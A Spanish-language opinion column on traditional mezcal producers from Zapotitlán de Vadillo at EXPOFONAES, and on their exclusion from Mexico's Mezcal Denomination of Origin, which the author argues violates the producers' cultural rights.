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El domingo pasado concluyó EXPOFONAES, organizada por el Fondo Nacional de Apoyo para las Empresas en Solidaridad (www.fonaes.gob.mx), a la que acudió -por tercera año- el Grupo Social Mezcal Artesanal Zapotitlán de Vadillo encabezado por el maestro tabernero Miguel Angel Partida, quien trajo Mezcales Tradicionales (MT) elaborados con los siguientes mezcales (así llaman a los magueyes): a) Azul Telcruz, enero 2012; b) Ixtero Amarillo y Azul Telcruz, enero 2012; c) Brocha, agosto 2011; d) Lineño, septiembre 2011; e) Presa Grande, Ixtero Amarillo y Azul Telcruz, julio 2011.

El trabajo del grupo es de capital importancia, pues cultivan en sus parcelas 14 variedades locales de maguey mezcalero, maíces criollos, frijol, etc., utilizando métodos de cultivo respetuosos del medio ambiente, garantizando así la preservación de una parte sustancial de la riqueza magueyera y de la biodiversidad del país.

La historia del mezcal en el sur de Jalisco se remonta a la época colonial, incluso hay quienes sostienen que puede ser  prehispánica. Lo menciono porque ésta y otras zonas productoras de MT de Jalisco (la raicillera en occidente; la del vino mezcal del JalMich descrita por Luis Gonzáles y Gonzáles en sus Obras 5, editadas por el Colegio Nacional en 2002), fueron excluidas de la zona de Denominación de Origen Mezcal, lo que tiene como consecuencia la prohibición irracional -que deriva en persecución Neo Colonial- de poder vender estos MT como lo que son: mezcales. Y la consecuente violación de derechos culturales de los productores y de las comunidades que los han consumido desde tiempo inmemorial.

Por lo anterior, Miguel Angel Partida y el autor de esta columna, dirigimos un escrito al Secretario de Economía Bruno Ferrari para solicitar audiencia, durante la cual le manifestaremos la necesidad de crear una normatividad adecuada para preservar el importante Patrimonio Cultural que representan los MT para todos los mexicanos.

El escrito completo puede verse en mezcalestradicionales.mx.

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